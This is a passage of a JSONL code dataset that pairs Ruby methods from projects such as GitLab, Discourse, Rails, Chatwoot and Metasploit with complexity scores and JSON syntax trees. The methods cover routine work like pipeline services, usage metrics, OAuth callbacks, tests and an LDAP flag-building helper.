"run_in_parallel?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParallelRunner\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"rspec_paths\"]},{\"type\":\"send\",\"children\":[null,\"example_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"loop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoopRunner\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"full_arg_list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"Runner\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"full_arg_list\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_STD_ARGS\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"nonzero?\"]},{\"type\":\"send\",\"children\":[null,\"abort\"]},null]}]}]}]}]}]}]}]}]}","id":"801a8859-a705-4310-bd6b-a4ab26b7c82f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/unlock_pipeline_service.rb","start_line":23,"raw_source":"def execute\n      unlock_pipeline_exclusively\n\n      success(\n        skipped_already_leased: already_leased,\n        skipped_already_unlocked: already_unlocked,\n        exec_timeout: exec_timeout,\n        unlocked_job_artifacts: unlocked_job_artifacts_count,\n        unlocked_pipeline_artifacts: unlocked_pipeline_artifacts_count\n      )\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unlock_pipeline_exclusively\"]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skipped_already_leased\"]},{\"type\":\"send\",\"children\":[null,\"already_leased\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skipped_already_unlocked\"]},{\"type\":\"send\",\"children\":[null,\"already_unlocked\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exec_timeout\"]},{\"type\":\"send\",\"children\":[null,\"exec_timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlocked_job_artifacts\"]},{\"type\":\"send\",\"children\":[null,\"unlocked_job_artifacts_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlocked_pipeline_artifacts\"]},{\"type\":\"send\",\"children\":[null,\"unlocked_pipeline_artifacts_count\"]}]}]}]}]}]}","id":"e82d14d6-a461-466b-a8ef-25187878af27"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/onceoff/fix_posts_read.rb","start_line":5,"raw_source":"def execute_onceoff(args)\n      # Skipping to the last post in a topic used to count all posts in the topic\n      # as read in user stats. Cap the posts read count to 50 * topics_entered.\n\n      sql = <<~SQL\nUPDATE user_stats\n   SET posts_read_count = topics_entered * 50\n WHERE user_id IN (\n   SELECT us2.user_id\n     FROM user_stats us2\n    WHERE us2.topics_entered > 0\n      AND us2.posts_read_count / us2.topics_entered > 50\n )\n      SQL\n\n      DB.exec(sql)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_onceoff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE user_stats\\n\"]},{\"type\":\"str\",\"children\":[\"   SET posts_read_count = topics_entered * 50\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE user_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"   SELECT us2.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"     FROM user_stats us2\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE us2.topics_entered > 0\\n\"]},{\"type\":\"str\",\"children\":[\"      AND us2.posts_read_count / us2.topics_entered > 50\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"a21529e5-a84f-4920-9f19-724efdeda773"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/web_hooks/hook.rb","start_line":89,"raw_source":"def async_execute(data, hook_name, idempotency_key: nil)\n        WebHookService.new(self, data, hook_name, idempotency_key: idempotency_key).async_execute if executable?\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"async_execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"hook_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"idempotency_key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHookService\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"hook_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"idempotency_key\"]},{\"type\":\"lvar\",\"children\":[\"idempotency_key\"]}]}]}]},\"async_execute\"]},null]}]}","id":"f05fcb1e-1b25-4879-986c-bfb994266b11"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data.rb","start_line":241,"raw_source":"def usage_activity_by_stage_configure(time_period)\n        {\n          clusters_management_project: clusters_user_distinct_count(::Clusters::Cluster.with_management_project, time_period),\n          clusters_disabled: clusters_user_distinct_count(::Clusters::Cluster.disabled, time_period),\n          clusters_enabled: clusters_user_distinct_count(::Clusters::Cluster.enabled, time_period),\n          clusters_platforms_gke: clusters_user_distinct_count(::Clusters::Cluster.gcp_installed.enabled, time_period),\n          clusters_platforms_eks: clusters_user_distinct_count(::Clusters::Cluster.aws_installed.enabled, time_period),\n          clusters_platforms_user: clusters_user_distinct_count(::Clusters::Cluster.user_provided.enabled, time_period),\n          instance_clusters_disabled: clusters_user_distinct_count(::Clusters::Cluster.disabled.instance_type, time_period),\n          instance_clusters_enabled: clusters_user_distinct_count(::Clusters::Cluster.enabled.instance_type, time_period),\n          group_clusters_disabled: clusters_user_distinct_count(::Clusters::Cluster.disabled.group_type, time_period),\n          group_clusters_enabled: clusters_user_distinct_count(::Clusters::Cluster.enabled.group_type, time_period),\n          project_clusters_disabled: clusters_user_distinct_count(::Clusters::Cluster.disabled.project_type, time_period),\n          project_clusters_enabled: clusters_user_distinct_count(::Clusters::Cluster.enabled.project_type, time_period),\n          # These two `projects_slack_x` metrics are owned by the Manage stage, but are in this method as their key paths can't change.\n          # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/123442#note_1427961339.\n          projects_slack_notifications_active: distinct_count(::Project.with_slack_integration.where(time_period), :creator_id),\n          projects_slack_slash_active: distinct_count(::Project.with_slack_slash_commands_integration.where(time_period), :creator_id)\n        }\n      end","complexity_score":46.2,"ast_json":"{\"type\":\"def\",\"children\":[\"usage_activity_by_stage_configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time_period\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_management_project\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"with_management_project\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_disabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"disabled\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_enabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"enabled\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_platforms_gke\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"gcp_installed\"]},\"enabled\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_platforms_eks\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"aws_installed\"]},\"enabled\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_platforms_user\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"user_provided\"]},\"enabled\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_clusters_disabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"disabled\"]},\"instance_type\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_clusters_enabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"enabled\"]},\"instance_type\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_clusters_disabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"disabled\"]},\"group_type\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_clusters_enabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"enabled\"]},\"group_type\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_clusters_disabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"disabled\"]},\"project_type\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_clusters_enabled\"]},{\"type\":\"send\",\"children\":[null,\"clusters_user_distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Cluster\"]},\"enabled\"]},\"project_type\"]},{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects_slack_notifications_active\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"with_slack_integration\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"creator_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects_slack_slash_active\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"with_slack_slash_commands_integration\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"creator_id\"]}]}]}]}]}","id":"104978da-376a-4f18-8aee-5ae2d9834456"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attributes.rb","start_line":150,"raw_source":"def freeze # :nodoc:\n      @attributes = @attributes.clone.freeze unless frozen?\n      super\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"freeze\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"frozen?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},\"clone\"]},\"freeze\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"79d38de7-c4cd-42de-b786-0247e3e89e36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/snippet.rb","start_line":77,"raw_source":"def has_file?(file_path)\n        response = get Runtime::API::Request.new(api_client, api_get_path).url\n\n        if response.code == HTTP_STATUS_NOT_FOUND\n          raise ResourceNotFoundError, \"Request returned (#{response.code}): `#{response}`.\"\n        end\n\n        file_output = parse_body(response)[:files]\n        file_output.any? { |file| file[:path] == file_path }\n      end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_file?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"api_client\"]},{\"type\":\"send\",\"children\":[null,\"api_get_path\"]}]},\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_NOT_FOUND\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ResourceNotFoundError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request returned (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"): `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"str\",\"children\":[\"`.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"file_output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"files\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_output\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]}","id":"3cf7541f-acd4-44aa-ace9-0a3213a4b8ae"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":679,"raw_source":"def test_transaction_state_is_cleared_when_record_is_persisted\n    author = Author.create! name: \"foo\"\n    author.name = nil\n    assert_not author.save\n    assert_not_predicate author, :new_record?\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_state_is_cleared_when_record_is_persisted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"name=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"save\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"author\"]},{\"type\":\"sym\",\"children\":[\"new_record?\"]}]}]}]}","id":"853ffc18-140e-437f-bf6b-983d877614e9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1571,"raw_source":"def associated_accounts\n    result = []\n\n    Discourse.authenticators.each do |authenticator|\n      account_description = authenticator.description_for_user(self)\n      unless account_description.empty?\n        result << { name: authenticator.name, description: account_description }\n      end\n    end\n\n    result\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"associated_accounts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"authenticators\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"authenticator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"account_description\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authenticator\"]},\"description_for_user\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_description\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authenticator\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"account_description\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"8b764d15-7ec8-4812-933b-18f513ec6644"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/active_directory.rb","start_line":44,"raw_source":"def adds_build_ldap_sd_control(owner: true, group: true, dacl: true, sacl: false)\n        # Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but\n        # the SACL flag is set, as we need administrative privileges to retrieve\n        # the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.\n        #\n        # Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,\n        # the LDAP searchRequest will default to trying to grab all possible attributes of\n        # the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the\n        # SACL even if the user is not an administrative user.\n        #\n        # Now one may think that we would just get the rest of the data without the SACL field,\n        # however in reality LDAP will cause that attribute to just be blanked out if a part of it\n        # cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute\n        # in these cases if the user doesn't have permissions to read the SACL.\n        flags = 0\n        flags |= OWNER_SECURITY_INFORMATION if owner\n        flags |= GROUP_SECURITY_INFORMATION if group\n        flags |= DACL_SECURITY_INFORMATION if dacl\n        flags |= SACL_SECURITY_INFORMATION if sacl\n        control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber\n        [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence\n      end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"adds_build_ldap_sd_control\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"owner\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"dacl\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sacl\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[null,\"OWNER_SECURITY_INFORMATION\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[null,\"GROUP_SECURITY_INFORMATION\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dacl\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[null,\"DACL_SECURITY_INFORMATION\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sacl\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"const\",\"children\":[null,\"SACL_SECURITY_INFORMATION\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"control_values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flags\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_ber\"]}]}]},\"to_ber_sequence\"]},\"to_s\"]},\"to_ber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LDAP_SERVER_SD_FLAGS_OID\"]},\"to_ber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"true\",\"children\":[]},\"to_ber\"]},{\"type\":\"lvar\",\"children\":[\"control_values\"]}]},\"to_ber_sequence\"]}]}]}","id":"d1665c61-d371-4dd5-9e97-fa20e3296410"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/article.rb","start_line":172,"raw_source":"def update_article_position_in_category\n    max_position = Article.where(category_id: category_id, account_id: account_id).maximum(:position)\n\n    new_position = max_position.present? ? max_position + 10 : 10\n\n    # update column to avoid validations if the article is already persisted\n    if persisted?\n      # rubocop:disable Rails/SkipsModelValidations\n      update_column(:position, new_position)\n      # rubocop:enable Rails/SkipsModelValidations\n    else\n      self.position = new_position\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update_article_position_in_category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[null,\"category_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[null,\"account_id\"]}]}]}]},\"maximum\",{\"type\":\"sym\",\"children\":[\"position\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_position\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_position\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_position\"]},\"+\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"new_position\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"position=\",{\"type\":\"lvar\",\"children\":[\"new_position\"]}]}]}]}]}","id":"46da07fa-6f8a-417c-93cc-fa1ae8bbc59f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/google_api/authorizations_controller.rb","start_line":15,"raw_source":"def callback\n      redirect_uri = redirect_uri_from_session\n      ##\n      # when  the user declines authorizations\n      # `error` param is returned\n      if params[:error]\n        flash[:alert] = _('Google Cloud authorizations required')\n        redirect_uri = session[:error_uri]\n      ##\n      # on success, the `code` param is returned\n      elsif params[:code]\n        token, expires_at = GoogleApi::CloudPlatform::Client\n          .new(nil, callback_google_api_auth_url)\n          .get_token(params[:code])\n\n        session[GoogleApi::CloudPlatform::Client.session_key_for_token] = token\n        session[GoogleApi::CloudPlatform::Client.session_key_for_expires_at] = expires_at.to_s\n        redirect_uri = redirect_uri_from_session\n      end\n    ##\n    # or google may just timeout\n    rescue ::Faraday::TimeoutError, ::Faraday::ConnectionFailed\n      flash[:alert] = _('Timeout connecting to the Google API. Please try again.')\n    ##\n    # regardless, we redirect the user appropriately\n    ensure\n      redirect_to redirect_uri\n    end","complexity_score":50.9,"ast_json":"{\"type\":\"def\",\"children\":[\"callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redirect_uri\",{\"type\":\"send\",\"children\":[null,\"redirect_uri_from_session\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Google Cloud authorizations 